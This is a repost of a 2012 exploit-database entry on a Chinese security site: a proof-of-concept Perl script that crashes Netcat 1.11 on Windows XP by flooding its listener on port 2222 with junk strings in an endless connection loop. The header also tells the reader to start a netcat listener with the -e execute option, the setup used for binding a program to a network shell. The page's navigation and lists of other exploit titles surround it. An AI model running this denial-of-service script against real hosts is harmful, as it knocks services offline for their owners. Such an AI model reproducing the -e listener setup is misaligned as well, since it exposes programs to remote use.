首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Netcat 1.11 Crash POC
来源:coolkaveh@rocketmail.com 作者:coolkaveh 发布时间:2012-07-16  
# Exploit Title: Netcat 1.11 Crash POC
# crash:http://imageshack.us/photo/my-images/687/47003227.jpg/
# Date: July 13, 2012
# Author: coolkaveh
# coolkaveh@rocketmail.com
# https://twitter.com/coolkaveh
# Vendor Homepage: The NT version was  written by Weld Pond <weld@vulnwatch.org>
# Version: 1.11
# Tested on: windows XP SP3
# set your netcat listening on port 222 with -e switch sftp or etc ..
# example nc.exe -l -p 2222 -v -e tftp
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Crappy netcat Crash
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl -w
use IO::Socket;
$|=1;
sub usage {
    print "nc.exe -l -p 2222 -v -e tftp";
    print "by coolkaveh\n";
 print "coolkaveh@rocketmail.com\n";
    print "usage: perl nc.pl <host> \n";
}
$host=shift;
$port=shift || "2222";
if(!defined($host)){
    print "nc.exe -l -p 2222 -v -e tftp";
    print "by coolkaveh\n";
 print "coolkaveh@rocketmail.com\n";
    print "usage: perl nc.pl <host> \n";
 exit(0);
}
@junk=('A'x100);
print "Crashing NC !\n";
while (1) {
   COMMAND_LIST: foreach $cmd (@junk){
  LABEL5: $sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30);
  if(defined($sock1)){
   $sock1->send("$cmd"." "."$poc\r\n", 0);
    }
  }  
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Siemens Simatic S7-1200 CPU ST
·Intel Core2Duo cpu cache contr
·Siemens Simatic S7-300 PLC Rem
·Telnet Ftp Server <= Memory Co
·Siemens Simatic S7-300/400 CPU
·beSTORM ActiveX (WinGraphviz.d
·Hastymail 2.1.1 RC1 Command In
·Shadow Stream Recorder (aslr b
·ZipItFast PRO v3.0 Heap Overfl
·WM Downloader (aslr bypass) st
·WaveSurfer 1.8.8p4 <= Memory C
·Kool Media Converter 2.7.0 Den
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved